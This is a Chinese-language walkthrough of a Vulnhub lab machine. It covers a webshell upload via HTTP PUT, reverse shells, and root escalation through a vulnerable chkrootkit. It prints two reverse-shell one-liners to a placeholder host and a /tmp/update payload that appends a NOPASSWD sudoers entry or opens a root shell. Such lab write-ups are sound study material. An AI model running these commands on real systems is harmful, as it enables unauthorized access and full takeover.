记一次Vulnhub通关过程:这次靶机的目标只有一个!!!
目录
信息收集
使用nmap对主机进行扫描
获取SSH和lighttpd的版本,通过searchsploit但都没有什么可利用的漏洞
然后对其进行目录扫描,其扫描结果
该站是使用php写的,并且有一个test目录(用大一点的目录本还能扫出个~checkout~,但没什么用),主页只是一张梗图,并没有包含任何信息。进入test目录,没有其他文件,猜测是哪里可以上传shell,寻找过一番后也没有找到。突然想起之前复现CVE-2016-3088中修改包的响应头为PUT,就可以写入一句话木马。
漏洞利用
第一步:可以通过抓包,将GET响应头改为OPTIONS,通过OPTIONS探测该网站支持的HTTP方法。
![](https://img-blog.csdnimg.cn/39730610392249b0b99e66768bfc5f27.jpeg)
![](https://img-blog.csdnimg.cn/6bfde443e1784e50b0c5181b977728c3.jpeg)
![](https://img-blog.csdnimg.cn/8ce70be9da2f42c7969139753f46daca.jpeg)
第二步:通过PUT方法向服务器上传一句话木马,需要在/test目录后面添加一个php文件,才能写入。
![](https://img-blog.csdnimg.cn/bd5dc20d42be4595bc90478b9ca00733.jpeg)
发送请求后,刷新一下test,即可看到已成功上传shell,然后通过蚁剑进行连接。
为了方便使用,可以使用以下两条命令反弹shell到kali中。这里要注意的是该靶机设置了防火墙出入站规则,只允许22、80、443和8080端口进行连接,这里我也是看了其他文章。(如果有方法能够对出入站规则进行探测的话,可以留言分享一下)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.x.x xxxx >/tmp/f
或者
bash -c 'bash -i &>/dev/tcp/192.168.x.x/xxxx <&1'
权限提升
蚁剑可以直接传一个linpeas.sh到服务器。运行之后会提示有可能存在的漏洞进行提权。首先看到是一个Ubuntu12.04的服务器,是存在dirtycow,但是在运行dirtycow脚本之后,会导致靶机崩溃,并不能进行漏洞提权。
好在还有一个chkrootkit的版本是存在漏洞的
有两种方法可以利用,由于chkrootkit会以root权限执行/tmp/update的文件。一是将www-data用户添加到sudoers列表命令添加到update文件,二是写入反弹shell即可。
添加用户到sudoers
首先,在/tmp下创建update文件,给权限,向update输入chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL">>/etc/sudoers ,然后稍等一会儿,即可查看/etc/sudoers文件夹权限为-rw-r-----,sudo -l看到无需用户密码即可进入root权限下。
写入反弹shell
同样在/tmp创建一个update文件赋予权限,写入bash -c 'exec bash -i &>/dev/tcp/192.168.xxx.xxx/443 <&1',然后要断开当前的nc,重新监听一次,即可获取到root权限。
最后打开root文件夹即可查看到防火墙规则,以及最终的目标。